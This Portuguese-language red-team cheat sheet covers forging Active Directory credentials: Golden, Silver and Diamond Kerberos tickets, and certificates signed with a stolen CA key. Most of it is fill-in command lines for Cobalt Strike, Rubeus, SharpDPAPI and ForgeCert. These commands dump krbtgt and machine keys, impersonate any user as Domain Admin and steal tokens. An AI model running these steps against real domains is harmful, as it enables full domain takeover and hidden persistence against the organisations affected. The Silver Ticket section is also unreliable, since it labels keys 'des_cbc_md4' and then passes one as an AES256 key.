Forjando Tickets

Golden Ticket

Um Golden Ticket é um TGT forjado, assinado pela conta krbtgt do Domínio. Onde um Silver Ticket pode ser usado para se passar por qualquer usuário, ele é limitado a esse único serviço ou a qualquer serviço, mas em uma única máquina. Já um Golden Ticket pode ser usado para se passar por qualquer usuário, para qualquer serviço, em qualquer máquina do domínio; e para piorar a situação - as credenciais subjacentes nunca são alteradas automaticamente. Por esse motivo, o hash krbtgt NTLM/AES é provavelmente o segredo mais poderoso que você pode obter. Por esse motivo, você o vê usado sendo utilizado em exemplos de dcsync com tanta frequência. Abaixo, realizando um dcsync:

dcsync <subdomain.domain.local> <SUBDOMAIN>\krbtgt

A saída deve algo semelhante ao trecho abaixo, então atente-se ao valor do primeiro aes256_hmac

* Primary:Kerberos-Newer-Keys *
    Default Salt : SUBDOMAIN.DOMAIN.LOCAL
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 44cff85c5d1fd18d2391a7b56bbbd09384fc7ae19e83b7261649a99f8f2cbaf2
      aes128_hmac       (4096) : c67bc077ed1fd18d23a7c2af35f7b4c7
      des_cbc_md5       (4096) : 077ed1fd18d23a7c

Pegue o SID do Domínio:

powershell-import <C:\path\to\PowerView.ps1>
powershell Get-DomainSID
powershell Get-DomainSID -Domain <domain.local>

Agora na máquina Windows (fora do CS), execute:

<C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> golden /aes256:<aes256_hmac> /user:<user> /domain:<subdomain.domain.local> /sid:<sid-domain> /nowrap

Com o acesso ao Beacon de alguma máquina (acesso privilegiado), execute o comando abaixo, utilizando o ticket em base64 gerado com o comando acima:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user> /password:<qualquer_senha> /ticket:<base64-ticket>

Com o resultado acima, utilize o valor do campo ProcessID para executar o comando abaixo:

steal_token <ProcessID>

Silver Ticket

Um Silver Ticket é um TGS forjado, assinado usando o material secreto (chaves RC4/AES) de uma conta de computador. Você pode forjar um TGS para qualquer usuário para qualquer serviço naquela máquina, o que é útil para persistência de curto/médio prazo. Por padrão, as senhas dos computadores mudam a cada 30 dias, momento em que você deve obter novamente os novos segredos para continuar criando Silver Ticket. Tanto o Silver Ticket quanto o Golden Ticket são falsificados, portanto podem ser gerados em sua própria máquina e importados para sua sessão Beacon para uso.

Supondo que já que já temos em mãos (dump realizado via Mimikatz) as chaves Kerberos de uma determinada máquina, sendo isso feito através do usuário SYSTEM. Teremos então, uma saída semelhante a:

Session           : Service from 0
User Name         : MAQUINA-1$
Domain            : SUBDOMAIN
Logon Server      : (null)
Logon Time        : 11/05/2023 21:12:58 AM
SID               : S-1-5-20

	 * Username : maquina-1$
	 * Domain   : SUBDOMAIN.DOMAIN.LOCAL
	 * Password : (null)
	 * Key List :
	   des_cbc_md4       44cff85c5d1fd18d2391a7b56bbbd09384fc7ae19e83b7261649a99f8f2cbaf2
	   des_cbc_md4       4c67bc077ed1fd18d23a7c2af35f7b4c73
	   des_cbc_md4       4c67bc077ed1fd18d23a7c2af35f7b4c73
	   des_cbc_md4       4c67bc077ed1fd18d23a7c2af35f7b4c73
	   des_cbc_md4       4c67bc077ed1fd18d23a7c2af35f7b4c73
	   des_cbc_md4       4c67bc077ed1fd18d23a7c2af35f7b4c73

Agora na máquina Windows (fora do Cobalt Strike), utilizando o Rubeus, podemos forjar um TGS para um determinado usuários, em um determinado serviço (iremos utilizar o cifs como exemplo). Utilize o valor do campo des_cbc_md4 na saída do comando acima, para executar o comando abaixo:

<C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> silver /service:cifs/<maquina-1.subdomain.domain.local> /aes256:<des_cbc_md4_hash> /user:<user> /domain:<subdomain.domain.local> /sid:<sid-domain> /nowrap

Com o acesso ao Beacon de alguma máquina com acesso privilegiado (desde que não seja a <maquina-1>), execute o comando abaixo, utilizando o ticket em base64 gerado com o comando acima:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user> /password:<qualquer_senha> /ticket:<base64-ticket>

Com o resultado acima, utilize o valor do campo ProcessID para executar o comando abaixo:

steal_token <ProcessID>

Diamond Ticket

Tal como um Golden Ticket, um Diamond Ticket é um TGT que pode ser utilizado para aceder a qualquer serviço como qualquer utilizador. Um Golden Ticket é forjado completamente offline, criptografado com o hash krbtgt desse Domínio e depois passado para uma sessão de logon para uso. Como os Domain Controllers não rastreiam TGTs que eles (ou eles) emitiram legitimamente, eles aceitarão alegremente TGTs criptografados com seu próprio hash krbtgt. Portanto, uma possível tática para detectar o uso de Golden Ticket é procurar por TGS-REQs que não possuam AS-REQ correspondente. Um Diamond Ticket é feito modificando os campos de um TGT legítimo emitido por um DC. Isto é conseguido solicitando um TGT, descriptografando-o com o hash krbtgt do Domínio, modificando os campos desejados do ticket e, em seguida, criptografando-o novamente. Isto supera a deficiência mencionada de um Golden Ticket porque qualquer TGS-REQ terá um AS-REQ anterior. Gerando Diamond Ticket. O parâmentro tgtdeleg usa a API Kerberos GSS para obter um TGT utilizável para o usuário atual sem precisar saber sua senha, hash NTLM/AES ou elevação no host, enquanto ticketuserid informa o RID do domínio do usuário (número de 4 dígitos em média), groups são os RID's do grupo desejado (512 representa Domain Admins) e /krbkey será o hash AES256 do krbtgt (utilize o dcsync e veja o valor em Primary:Kerberos-Newer-Keys > Credentials > aes256_hmac).

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<number-ticketuserid> /groups:<512> /krbkey:<aes256_hmac> /nowrap

Na máquina Windows (fora do CS), podemos usar o desribe do Rubeus para verificar o TGT gerado para o usuário alvo

<C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> describe /ticket:<base64-ticket>

Forged Certificates

Ao obter acesso de Administrador local a uma CA, permite que um invasor extraia a chave privada da CA, que pode ser usada para assinar um certificado forjado (pense nisso como se o hash krbtgt pudesse assinar um TGT forjado). O período de validade padrão para uma chave privada de CA é de 5 anos, mas pode ser definido para qualquer valor durante a configuração, às vezes até mais de 10 anos. Execute o comando abaixo (a partir de uma conta com altos privilégios, de preferência um SYSTEM conectado em algum DC) e procure pelo campo Description, onde o seu valor seja equivalente a Private Key. Verifique também se os valores de Issuer e Subject estão de acordo com o Domínio em questão.

execute-assembly <C:\path\to\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe> certificates /machine

Salve a chave privada e o certificado (os dois "hashes") em um arquivo .pem e converta-o em .pfx utilizando o openssl (faça isso em um Linux)

openssl pkcs12 -in <file.pem> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out <file.pfx>

Agora construa o certificado forjado com ForgeCert.exe. Faça isso na máquina Windows, fora do CS.

<C:\path\to\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe.> --CaCertPath <.\file.pfx> --CaCertPassword <pass123> --Subject "CN=User" --SubjectAltName "<user>@<domain.local>" --NewCertPath <.\output-file.pfx> --NewCertPassword <pass123>

No Linux, pegue o valor do Certificado, pois iremos utilizá-lo no outro comando

cat <output-file.pfx> | base64 -w 0

Mesmo que você possa especificar qualquer SubjectAltName, o usuário precisa estar presente no AD. Agora podemos usar o Rubeus para solicitar um TGT legítimo com este certificado forjado.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /domain:<subdomain.domain.local> /enctype:aes256 /certificate:<certificate> /password:<pass123> /nowrap

Não estamos limitados a falsificar certificados de usuário; podemos fazer o mesmo com as máquinas. Combine isso com o S4U2self para obter acesso a qualquer máquina ou serviço no Domínio.

Sites

# SharpDPAPI
https://github.com/GhostPack/SharpDPAPI

# ForgeCert
https://github.com/GhostPack/ForgeCert

Last updated